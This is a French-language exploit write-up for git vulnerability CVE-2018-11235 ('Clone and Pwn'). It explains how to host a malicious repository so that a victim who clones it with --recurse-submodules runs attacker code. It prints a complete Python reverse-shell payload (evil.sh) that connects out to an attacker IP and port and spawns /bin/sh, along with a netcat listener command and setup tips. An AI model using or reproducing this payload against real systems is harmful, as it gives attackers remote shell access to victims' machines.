
Exploits CVE-2018-11235
Titre de l'exploit : Clone and Pwn
Date : 4 juin 2018
Auteur de l'exploit : Alejandro Caceres
Page d'accueil du fournisseur : https://git-scm.com/
Lien du logiciel : https://git-scm.com/downloads
Version : du code arbitraire est exécuté sur les versions du client git antérieures à Git 2.13.7, 2.14.x avant 2.14.4, 2.15.x avant 2.15.2, 2.16.x avant 2.16.4 et 2.17.x avant 2.17.1
Testé sur : Linux : Ubuntu, Mint, MacOSX
CVE : CVE-2018-11235
CVE-2018-11235, surnommé « clone and pwn » ici, crée un dépôt git malveillant qui exploite un bogue dans git. Lorsque le dépôt est cloné à l'aide du flag --recurse-submodules, du code arbitraire est exécuté sur les versions du client git antérieures à Git 2.13.7, 2.14.x avant 2.14.4, 2.15.x avant 2.15.2, 2.16.x avant 2.16.4 et 2.17.x avant 2.17.1.
Pour utiliser ce module, placez-le simplement sur un serveur avec un accès internet direct (par exemple AWS, Digital Ocean) et ouvrez evil.sh. Cela ressemblera à ce qui suit :
#!/usr/bin/python
EXTERN_IP="127.0.0.1"
EXTERN_PORT=8080
#reverse shell to IP EXTERN_IP and port EXTERN_PORT
import socket, subprocess, os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((EXTERN_IP, EXTERN_PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Définissez EXTERN_IP et EXTERN_PORT sur l'IP (externe) et le port sur lesquels vous souhaitez recevoir votre shell inverse. Un shell inverse peut être reçu avec quelque chose comme :
nc -l <EXTERN_IP> EXTERN_PORT par exemple nc -l 193.23.23.32 8080
Ou avec le module de shell générique de Metasploit. Une fois que l'utilisateur a exécuté la commande git clone --recurse-submodules git://<votre ip>/repo dest_dir, vous recevrez un shell inverse.
Si vous rencontrez des problèmes pour exécuter plusieurs fois (ou après une tentative échouée), vérifiez ce qui suit :
ps aux | grep git pour vous assurer que vous n'êtes pas déjà en train d'exécuter gitdaemon. Tuez tous les processus gitdaemon.Code dérivé du correctif git de @peff (cherchez le fichier de test t/t7415-submodule-names.sh).
En tant que tel, ce dépôt est publié sous la licence GNU General Public License version 2.
Correctif supplémentaire pour les anciennes versions de git gracieuseté de @atorralba (détails dans cet article).
Ce script est adapté de https://github.com/Rogdham/CVE-2018-11235, beaucoup d'amour et de crédit
=======
Exploite CVE-2018-11235
Par @_hyp3ri0n et @mehaase